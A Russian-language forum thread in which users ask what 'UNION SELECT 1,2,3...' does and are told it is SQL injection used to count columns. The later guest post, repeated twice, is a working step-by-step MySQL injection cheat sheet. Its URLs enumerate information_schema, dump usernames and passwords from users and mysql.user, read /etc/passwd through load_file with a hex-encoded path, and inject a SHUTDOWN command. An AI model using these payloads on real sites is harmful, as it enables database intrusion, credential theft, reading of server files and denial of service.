SELECT * FROM news WHERE id='1' UNION SELECT 1,2,3,4,5,6
вернее числа 1,2,3... после юнион селект...
и что вообще делает этот запрос, вернее это даже не запрос, а мускул инекция...
Спустя 2 минуты, 7 секунд (2.09.2010 - 18:34) Undertaker написал(а):
и еще что значит вот это, когда id='-1'
SELECT * FROM news WHERE id='-1' UNION SELECT 1,2,3,4,5,6
SELECT * FROM news WHERE id='-1' UNION SELECT 1,2,3,4,5,6
Спустя 3 минуты, 24 секунды (2.09.2010 - 18:38) Winston написал(а):
Цитата (Undertaker @ 2.09.2010 - 17:32) |
и что вообще делает этот запрос |
SQL Injection
Перебираются поля.
Спустя 9 минут, 6 секунд (2.09.2010 - 18:47) Undertaker написал(а):
т.е. 1,2,3... - это намера полей? и разве поля не с 0 начинаются? и в чем смысл UNION SELECT 1,2,3,4,5,6
если после не указывается таблица из которой выбираются эти значания?
если после не указывается таблица из которой выбираются эти значания?
Спустя 13 минут, 49 секунд (2.09.2010 - 19:01) Nord написал(а):
Цитата |
пожалуста подскажите что означает SELECT * FROM news WHERE id='1' UNION SELECT 1,2,3,4,5,6 |
Стало любопытно и проверил у себя: запрос не выдает ошибку только тогда, когда кол-во цифр совпадает с количеством колонок в таблице
Мне кажется они считают кол-во колонок в вашей таблице
Спустя 9 минут, 46 секунд (2.09.2010 - 19:10) Undertaker написал(а):
так а я не могу понять, почему не указывается из какой таблицы перебираются колонки. откуда мускул знает из какой таблицы делать второй селект
Спустя 18 минут (2.09.2010 - 19:28) Winston написал(а):
Цитата (Undertaker @ 2.09.2010 - 18:10) |
так а я не могу понять, почему не указывается из какой таблицы перебираются колонки. откуда мускул знает из какой таблицы делать второй селект |
SELECT * FROM news
Он выбирает с той таблицы которая указана в запросе
Спустя 1 час, 54 минуты, 21 секунда (2.09.2010 - 21:23) Nord написал(а):
Спустя 57 минут, 7 секунд (2.09.2010 - 22:20) sergeiss написал(а):
На самом деле, объяснение тут простое И ответ уже, фактически, прозвучал. Вот этот вот:
Цитата (Nord @ 2.09.2010 - 20:01) |
Стало любопытно и проверил у себя: запрос не выдает ошибку только тогда, когда кол-во цифр совпадает с количеством колонок в таблице |
Именно таким образом хакер узнает количество колонок, возвращаемых запросом.
Источник информации (для меня) - книга Михаила Фленова на эту тему.
Спустя 5 месяцев, 13 дней, 43 минуты, 35 секунд (16.02.2011 - 00:03) Guest написал(а):
site.com/index.php?id=1
-----
site.com/index.php?id=1 group by 99
---
site.com/index.php?id=1 group by 1
site.com/index.php?id=1 group by 2
site.com/index.php?id=1 group by 3
site.com/index.php?id=1 group by 4
site.com/index.php?id=1 group by 5
site.com/index.php?id=1 group by 6
----
index.php?id=-1 union select 1,2,3,4,5
---
index.php?id=-1 union select 1,2,3,4,5
---
index.php?id=-1+union+all+select+1,2,3,4,5
---
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables
---
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 1,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 2,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 3,1
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name),4,5+from+information_schema.tables
--
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES
---
0x3c62723e = <br>
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name, 0x3c62723e),4,5+from+information_schema.tables
---
CHARACTER_SETS
,COLLATIONS
,COLLATION_CHARACTER_SET_APPLICABILITY
,COLUMNS
,COLUMN_PRIVILEGES
---
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users'
----
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 1,1
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 2,1
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 3,1
-----
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 1,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 2,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 3,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 4,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 5,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 6,1
---
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e=(select+table_name+from+information.tables+limit+6,1)
---
union+all+select+1,2,group_concat(column_name,0x3c62723e),4,5+from+information_schema.columns+where+table_name=(select+table_name+from+information.t ables+limit+6,1)
---
id
,user_name
,password
,email
---
index.php?id=-1+union+all+select+1,2,password,4,5+from+users+where+id=1
---
index.php?id=-1+union+all+select+1,2,password,4,5+from+users+limit+1,1
---
Illegal mix of collations
----
index.php?id=-1+union+all+select+1,2,unhex(hex(password)),4,5+from+users+limit+1,1
----
index.php?id=-1+union+all+select+1,2,group_concat(unhex(user_name),0x3a,unhex(hex(password),0x3c62723e)4,5+from+users+l
---
admin:admin
,user:user
---
index.php?id=-1+union+all+select+1,2,load_file('file'),3,4,5
---
index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),3,4,5
index.php?id=-1+union+all+select+1,2,load_file(0x272f6574632f70617373776427),3,4,5
------
0x272f6574632f70617373776427 = '/etc/passwd'
---
index.php?id=1+SHUTDOWN WITH NOWAIT;
----
index.php?id=-1+union+select+1,2,password,4,5+from+mysql.user
---
SELECT email FROM users WHERE id = '$_GET[id]'
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name, 0x3c62723e),4,5+from+information_schema.tables
-----
site.com/index.php?id=1 group by 99
---
site.com/index.php?id=1 group by 1
site.com/index.php?id=1 group by 2
site.com/index.php?id=1 group by 3
site.com/index.php?id=1 group by 4
site.com/index.php?id=1 group by 5
site.com/index.php?id=1 group by 6
----
index.php?id=-1 union select 1,2,3,4,5
---
index.php?id=-1 union select 1,2,3,4,5
---
index.php?id=-1+union+all+select+1,2,3,4,5
---
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables
---
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 1,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 2,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 3,1
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name),4,5+from+information_schema.tables
--
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES
---
0x3c62723e = <br>
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name, 0x3c62723e),4,5+from+information_schema.tables
---
CHARACTER_SETS
,COLLATIONS
,COLLATION_CHARACTER_SET_APPLICABILITY
,COLUMNS
,COLUMN_PRIVILEGES
---
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users'
----
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 1,1
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 2,1
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e='users' limit 3,1
-----
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 1,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 2,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 3,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 4,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 5,1
index.php?id=-1+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 6,1
---
index.php?id=-1+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+table_nam e=(select+table_name+from+information.tables+limit+6,1)
---
union+all+select+1,2,group_concat(column_name,0x3c62723e),4,5+from+information_schema.columns+where+table_name=(select+table_name+from+information.t ables+limit+6,1)
---
id
,user_name
,password
---
index.php?id=-1+union+all+select+1,2,password,4,5+from+users+where+id=1
---
index.php?id=-1+union+all+select+1,2,password,4,5+from+users+limit+1,1
---
Illegal mix of collations
----
index.php?id=-1+union+all+select+1,2,unhex(hex(password)),4,5+from+users+limit+1,1
----
index.php?id=-1+union+all+select+1,2,group_concat(unhex(user_name),0x3a,unhex(hex(password),0x3c62723e)4,5+from+users+l
---
admin:admin
,user:user
---
index.php?id=-1+union+all+select+1,2,load_file('file'),3,4,5
---
index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),3,4,5
index.php?id=-1+union+all+select+1,2,load_file(0x272f6574632f70617373776427),3,4,5
------
0x272f6574632f70617373776427 = '/etc/passwd'
---
index.php?id=1+SHUTDOWN WITH NOWAIT;
----
index.php?id=-1+union+select+1,2,password,4,5+from+mysql.user
---
SELECT email FROM users WHERE id = '$_GET[id]'
---
index.php?id=-1+union+all+select+1,2,group_concat(table_name, 0x3c62723e),4,5+from+information_schema.tables